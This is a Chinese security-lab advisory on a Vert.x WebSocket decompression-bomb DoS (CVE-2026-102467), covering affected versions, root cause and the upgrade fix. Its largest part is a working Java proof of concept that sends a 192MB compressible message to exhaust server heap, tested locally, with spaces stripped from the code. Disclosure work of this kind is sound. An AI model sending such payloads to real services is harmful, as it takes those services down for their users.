ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

开源组件漏洞分析-CVE-2026-102467-Vert.x WebSocket解压炸弹拒绝服务漏洞

开源组件漏洞分析-CVE-2026-102467-Vert.x WebSocket解压炸弹拒绝服务漏洞

本文作者:宇航@涂鸦智能安全实验室

漏洞编号

CVE-2026-102467
受影响版本:
io.vertx:vertx-core [5.2.0,5.2.1)、[5.0.0,5.1.9)、[4.0.0,4.5.35)
vert.x [5.2.0,5.2.0]、[4.5.0,4.5.35)、[5.0.0,5.1.10)

漏洞危害

Eclipse Vert.x 是 Eclipse 基金会开源的 JVM 响应式应用开发工具包,其核心模块 vertx-core 提供 HTTP、WebSocket 等网络组件,广泛用于构建高并发后端服务与网关。 受影响版本中,服务端默认支持 WebSocket per-frame 与 per-message deflate 压缩扩展,初始化 Netty DeflateFrameServerExtensionHandshaker 与 PerMessageDeflateServerExtensionHandshaker 时未传入 maxAllocation 解压内存上限,恶意客户端在完成 WebSocket 握手协商压缩后发送体积极小、解压后急剧膨胀的 zip 炸弹帧,解压过程不受限地分配内存,maxWebSocketFrameSize 与 maxWebSocketMessageSize 校验发生在解压完成之后,堆内存被耗尽导致服务拒绝;启用压缩的 Vert.x WebSocket 客户端连接恶意服务端时同样受影响。 修复版本中通过在服务端 HttpServerConnectionHandler#initializeWebSocketExtensions 与客户端 Http1ClientConnection#initializeWebSocketExtensionHandshakers 中为 DeflateFrame 与 PerMessageDeflate 扩展 handshaker 传入 maxAllocation(帧上限加 512、消息上限加 512),Netty 解压处理器在解压过程中强制执行分配上限并在超限时抛出 DecompressionException,切断了压缩炸弹的无界展开路径。

漏洞poc

ddos

Vertx vertx=Vertx.vertx();HttpClient client=vertx.createHttpClient(newHttpClientOptions().setTryUsePerMessageWebSocketCompression(true).setMaxWebSocketMessageSize(bombMb*1024*1024+65536).setMaxWebSocketFrameSize(bombMb*1024*1024+65536));byte[]bomb=newbyte[bombMb*1024*1024];Arrays.fill(bomb,(byte)'A');

漏洞触发点:

if(args.length>0){Vertx vertx=Vertx.vertx();CountDownLatch done=newCountDownLatch(1);AtomicReference<String>outcome=newAtomicReference<String>("未收到消息");HttpServer server=vertx.createHttpServer(newHttpServerOptions().setHost("127.0.0.1").setPort(18080).setMaxWebSocketFrameSize(256*1024*1024)// 放大帧上限,避免解压被帧校验提前中止.setMaxWebSocketMessageSize(8*1024)// 应用自以为的内存护栏,本漏洞中不起作用.setPerMessageWebSocketCompressionSupported(true));server.webSocketHandler(ws->{ws.frameHandler(frame->{outcome.set("收到帧 "+(frame.isBinary()?frame.binaryData().length():0)+" bytes");done.countDown();});ws.exceptionHandler(e->{outcome.set(e.toString());done.countDown();});ws.closeHandler(v->done.countDown());});server.listen(ar->System.out.println(ar.succeeded()?"服务端就绪":"监听失败 "+ar.cause()));done.await(30,TimeUnit.SECONDS);System.out.println("RESULT "+outcome.get());System.out.flush();Runtime.getRuntime().halt(0);}

漏洞详情


该漏洞主要在于服务端启用 WebSocket 压缩(permessage-deflate)后,Vert.x 构造压缩扩展握手器时没有给解压器设置最大内存分配上限(maxAllocation),解压过程不受 maxWebSocketFrameSize / maxWebSocketMessageSize 约束。

攻击者只发送一条压缩后几百 KB、解压后数百 MB 的消息(压缩炸弹),服务端就会在完成任何长度校验之前把整段数据解压进内存,直接耗尽堆内存(DoS)。
以下是验证poc代码:

packagecom.example.test.cves;importio.vertx.core.Vertx;importio.vertx.core.buffer.Buffer;importio.vertx.core.http.HttpClient;importio.vertx.core.http.HttpClientOptions;importio.vertx.core.http.HttpServer;importio.vertx.core.http.HttpServerOptions;importio.vertx.core.http.WebSocketConnectOptions;importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;importjava.io.BufferedReader;importjava.io.InputStreamReader;importjava.nio.charset.StandardCharsets;importjava.util.Arrays;importjava.util.concurrent.CountDownLatch;importjava.util.concurrent.TimeUnit;importjava.util.concurrent.atomic.AtomicReference;publicclassCVE_2026_102467{publicstaticvoidmain(String[]args)throwsException{try{((ch.qos.logback.classic.Logger)LoggerFactory.getLogger(Logger.ROOT_LOGGER_NAME)).setLevel(ch.qos.logback.classic.Level.WARN);}catch(Throwableignored){}// 子进程模式:以受限堆运行存在漏洞的 WebSocket 服务端if(args.length>0){Vertxvertx=Vertx.vertx();CountDownLatchdone=newCountDownLatch(1);AtomicReference<String>outcome=newAtomicReference<String>("未收到消息");HttpServerserver=vertx.createHttpServer(newHttpServerOptions().setHost("127.0.0.1").setPort(18080).setMaxWebSocketFrameSize(256*1024*1024)// 放大帧上限,避免解压被帧校验提前中止.setMaxWebSocketMessageSize(8*1024)// 应用自以为的内存护栏,本漏洞中不起作用.setPerMessageWebSocketCompressionSupported(true));server.webSocketHandler(ws->{ws.frameHandler(frame->{outcome.set("收到帧 "+(frame.isBinary()?frame.binaryData().length():0)+" bytes");done.countDown();});ws.exceptionHandler(e->{outcome.set(e.toString());done.countDown();});ws.closeHandler(v->done.countDown());});server.listen(ar->System.out.println(ar.succeeded()?"服务端就绪":"监听失败 "+ar.cause()));done.await(30,TimeUnit.SECONDS);System.out.println("RESULT "+outcome.get());System.out.flush();Runtime.getRuntime().halt(0);}System.out.println("CVE-2026-102467 漏洞验证");System.out.println("Eclipse Vert.x WebSocket 解压无内存分配上限 DoS");System.out.println("服务端配置: maxWebSocketMessageSize = 8192 bytes(内存护栏), 堆上限 128MB");Processchild=newProcessBuilder(System.getProperty("java.home")+"/bin/java","-Xmx128m","-cp",System.getProperty("java.class.path"),CVE_2026_102467.class.getName(),"server").redirectErrorStream(true).start();Thread.sleep(4000);// 等待子进程开始监听intbombMb=192;Vertxvertx=Vertx.vertx();HttpClientclient=vertx.createHttpClient(newHttpClientOptions().setTryUsePerMessageWebSocketCompression(true).setMaxWebSocketMessageSize(bombMb*1024*1024+65536).setMaxWebSocketFrameSize(bombMb*1024*1024+65536));byte[]bomb=newbyte[bombMb*1024*1024];Arrays.fill(bomb,(byte)'A');System.out.println("发送一条压缩后仅数百 KB、解压后约 "+bombMb+"MB 的消息");CountDownLatchsent=newCountDownLatch(1);client.webSocket(newWebSocketConnectOptions().setHost("127.0.0.1").setPort(18080).setURI("/ws"),res->{if(res.succeeded()){res.result().closeHandler(v->sent.countDown());res.result().exceptionHandler(e->sent.countDown());res.result().writeBinaryMessage(Buffer.buffer(bomb));}else{System.out.println("客户端连接失败: "+res.cause());sent.countDown();}});sent.await(30,TimeUnit.SECONDS);// 读取服务端子进程输出并判定booleanoom=false;BufferedReaderreader=newBufferedReader(newInputStreamReader(child.getInputStream(),StandardCharsets.UTF_8));Stringline;while((line=reader.readLine())!=null){System.out.println(" [服务端] "+line);if(line.contains("OutOfMemoryError")){oom=true;}}System.out.println(oom?"✓ 漏洞触发成功:服务端解压阶段直接耗尽堆内存,8KB 的消息上限未产生任何约束":"✗ 未触发 OOM(漏洞已修复)");vertx.close();}}

运行后可得到:

修复方案

1、升级 io.vertx:vertx-core 至 4.5.35+、5.1.10+ 或 5.2.1+。

加白策略

由上分析可知此处漏洞触发条件有以下两点
1、服务端默认开启websocket服务端。
2、客户端向服务端发送恶意的解压数据。
可导致服务端直接挂掉,此处风险较大,无法进行加白处理。

返回列表